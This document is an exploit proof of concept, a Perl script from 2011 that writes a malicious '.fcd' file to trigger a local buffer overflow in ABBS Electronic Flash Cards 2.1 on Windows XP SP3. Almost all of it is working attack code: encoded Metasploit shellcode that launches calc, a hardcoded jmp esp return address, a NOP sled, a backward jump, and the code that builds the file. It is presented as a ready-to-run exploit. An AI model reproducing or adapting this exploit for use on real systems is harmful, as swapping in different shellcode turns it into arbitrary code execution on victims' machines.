ABBS Electronic Flash Cards 2.1 – ‘.fcd’ Local Buffer Overflow
# Exploit Title: ABBS Electronic Flash Cards Buffer Overflow Exploit # Software Link: http://abbs.qsnx.net/downloads/abbs-flashcards.zip # Version: 2.1 # triggering details : open the app, go to test, click on random, and start test, then chose the fcd file, and booom calc pops up # Tested on: Win XP SP3 French # Date: 14/03/2011 # Author: h1ch4m # Email: h1ch4m@live.fr # Home: http://net-effects.blogspot.com my $file= "exploit.fcd"; my $size = 4108; # make a room for our shellcode my $stack = "\x31\xc0" . # xor eax, eax "\xb4\x10" . # mov ah, 10h "\x29\xc4" . # sub esp, eax "\x90"; # nop, 0x0a is a bad char, so i added a nop 0x0a becomes 0x09 (jump) # windows/exec - 223 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc my $shellcode = "\xbf\xa0\x03\xb5\xf2\x33\xc9\xb1\x32\xdb\xdf\xd9\x74\x24" . "\xf4\x5a\x31\x7a\x0e\x03\x7a\x0e\x83\x62\x07\x57\x07\x9e" . "\xe0\x1e\xe8\x5e\xf1\x40\x60\xbb\xc0\x52\x16\xc8\x71\x63" . "\x5c\x9c\x79\x08\x30\x34\x09\x7c\x9d\x3b\xba\xcb\xfb\x72" . "\x3b\xfa\xc3\xd8\xff\x9c\xbf\x22\x2c\x7f\x81\xed\x21\x7e" . "\xc6\x13\xc9\xd2\x9f\x58\x78\xc3\x94\x1c\x41\xe2\x7a\x2b" . "\xf9\x9c\xff\xeb\x8e\x16\x01\x3b\x3e\x2c\x49\xa3\x34\x6a" . "\x6a\xd2\x99\x68\x56\x9d\x96\x5b\x2c\x1c\x7f\x92\xcd\x2f" . "\xbf\x79\xf0\x80\x32\x83\x34\x26\xad\xf6\x4e\x55\x50\x01" . "\x95\x24\x8e\x84\x08\x8e\x45\x3e\xe9\x2f\x89\xd9\x7a\x23" . "\x66\xad\x25\x27\x79\x62\x5e\x53\xf2\x85\xb1\xd2\x40\xa2" . "\x15\xbf\x13\xcb\x0c\x65\xf5\xf4\x4f\xc1\xaa\x50\x1b\xe3" . "\xbf\xe3\x46\x69\x41\x61\xfd\xd4\x41\x79\xfe\x76\x2a\x48" . "\x75\x19\x2d\x55\x5c\x5e\xcf\xa4\x6d\x4a\x58\x1f\x04\x37" . "\x04\xa0\xf2\x7b\x31\x23\xf7\x03\xc6\x3b\x72\x06\x82\xfb" . "\x6e\x7a\x9b\x69\x91\x29\x9c\xbb\xf2\xac\x0e\x27\xf5"; my $eip = pack('V', 0x7c86467b); # jmp esp kernel32.dll my $nops = "\x90" x 8; my $jump = "\xe9\x09\xff\xff\xff"; # jump back 247 bytes my $junk = "\x90" x ($size-length($stack.$shellcode)); open($FILE,">$file"); print $FILE $junk.$stack.$shellcode.$eip.$nops.$jump; close($FILE); print "Files Created successfully\n"; sleep(1); |